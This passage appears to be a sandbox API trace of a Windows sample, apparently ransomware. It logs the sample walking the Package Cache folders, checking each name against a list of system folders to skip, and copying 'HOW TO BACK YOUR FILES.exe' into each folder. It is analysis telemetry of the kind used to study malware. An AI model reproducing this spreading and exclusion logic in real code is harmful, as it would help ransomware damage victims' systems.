(lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="boot") returned -1 [0048.864] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="ids.txt") returned -1 [0048.864] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="ntuser.dat") returned -1 [0048.864] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="perflogs") returned -1 [0048.864] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="MSBuild") returned -1 [0048.864] lstrlenW (lpString="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 38 [0048.864] lstrcpyW (in: lpString1=0x241e882, lpString2="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0048.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac68 [0048.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x5145a8 [0048.864] lstrcatW (in: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="\\" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0048.864] lstrcatW (in: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" [0048.864] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.868] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0048.868] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.868] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.868] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2=".") returned 1 [0048.868] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="..") returned 1 [0048.868] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="windows") returned -1 [0048.868] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="bootmgr") returned -1 [0048.868] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="temp") returned -1 [0048.868] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="pagefile.sys") returned -1 [0048.868] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="boot") returned -1 [0048.868] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="ids.txt") returned -1 [0048.868] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="ntuser.dat") returned -1 [0048.868] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="perflogs") returned -1 [0048.868] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="MSBuild") returned -1 [0048.868] lstrlenW (lpString="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 50 [0048.868] lstrcpyW (in: lpString1=0x241e882, lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0048.868] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac80 [0048.868] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x522108 [0048.868] lstrcatW (in: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="\\" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0048.868] lstrcatW (in: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0048.868] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.870] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0048.870] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.870] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.870] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2=".") returned 1 [0048.870] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="..") returned 1 [0048.870] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="windows") returned -1 [0048.870] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="bootmgr") returned -1 [0048.871] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="temp") returned -1 [0048.871] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="pagefile.sys") returned -1 [0048.871] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="boot") returned -1 [0048.871] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="ids.txt") returned -1 [0048.871] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="ntuser.dat") returned -1 [0048.871] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="perflogs") returned -1 [0048.871] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="MSBuild") returned -1 [0048.871] lstrlenW (lpString="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 50 [0048.871] lstrcpyW (in: lpString1=0x241e882, lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0048.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac98 [0048.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x5221b0 [0048.871] lstrcatW (in: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="\\" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0048.871] lstrcatW (in: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0048.871] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.873] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0048.873] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.873] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.873] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2=".") returned 1 [0048.873] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="..") returned 1 [0048.874] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="windows") returned -1 [0048.874] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="bootmgr") returned -1 [0048.874] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="temp") returned -1 [0048.874] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="pagefile.sys") returned -1 [0048.874] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="boot") returned -1 [0048.874] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="ids.txt") returned -1 [0048.874] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="ntuser.dat") returned -1 [0048.874] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="perflogs") returned -1 [0048.874] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="MSBuild") returned -1 [0048.874] lstrlenW (lpString="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 50 [0048.874] lstrcpyW (in: lpString1=0x241e882, lpString2="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0048.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50acb0 [0048.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x522258 [0048.874] lstrcatW (in: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="\\" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0048.874] lstrcatW (in: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0048.874] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.884] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0048.884] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.884] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.884] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2=".") returned 1 [0048.884] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="..") returned 1 [0048.884] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="windows") returned -1 [0048.884] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="bootmgr") returned -1 [0048.884] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="temp") returned -1 [0048.884] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="pagefile.sys") returned -1 [0048.884] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="boot") returned -1 [0048.884] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="ids.txt") returned -1 [0048.884] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="ntuser.dat") returned -1 [0048.884] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="perflogs") returned -1 [0048.884] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="MSBuild") returned -1 [0048.884] lstrlenW (lpString="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 49 [0048.884] lstrcpyW (in: lpString1=0x241e882, lpString2="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0048.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50acc8 [0048.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x522300 [0048.885] lstrcatW (in: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="\\" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0048.885] lstrcatW (in: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0048.885] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.886] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0048.887] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.887] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.887] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2=".") returned 1 [0048.887] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="..") returned 1 [0048.887] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="windows") returned -1 [0048.887] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="bootmgr") returned -1 [0048.887] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="temp") returned -1 [0048.887] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="pagefile.sys") returned -1 [0048.887] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="boot") returned -1 [0048.887] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="ids.txt") returned -1 [0048.887] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="ntuser.dat") returned -1 [0048.887] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="perflogs") returned -1 [0048.887] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="MSBuild") returned -1 [0048.887] lstrlenW (lpString="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 49 [0048.887] lstrcpyW (in: lpString1=0x241e882, lpString2="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0048.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ace0 [0048.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x5223a8 [0048.887] lstrcatW (in: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="\\" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0048.887] lstrcatW (in: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0048.887] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.889] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0048.889] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.889] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.889] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2=".") returned 1 [0048.889] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="..") returned 1 [0048.889] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="windows") returned -1 [0048.889] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="bootmgr") returned -1 [0048.889] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="temp") returned -1 [0048.889] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="pagefile.sys") returned -1 [0048.889] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="boot") returned -1 [0048.889] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="ids.txt") returned -1 [0048.889] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="ntuser.dat") returned -1 [0048.889] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="perflogs") returned -1 [0048.889] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="MSBuild") returned -1 [0048.889] lstrlenW (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 49 [0048.889] lstrcpyW (in: lpString1=0x241e882, lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0048.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50acf8 [0048.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x522450 [0048.890] lstrcatW (in: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="\\" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0048.890] lstrcatW (in: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0048.890] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.892] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0048.892] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.892] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.892] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2=".") returned 1 [0048.892] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="..") returned 1 [0048.892] lstrcmpiW 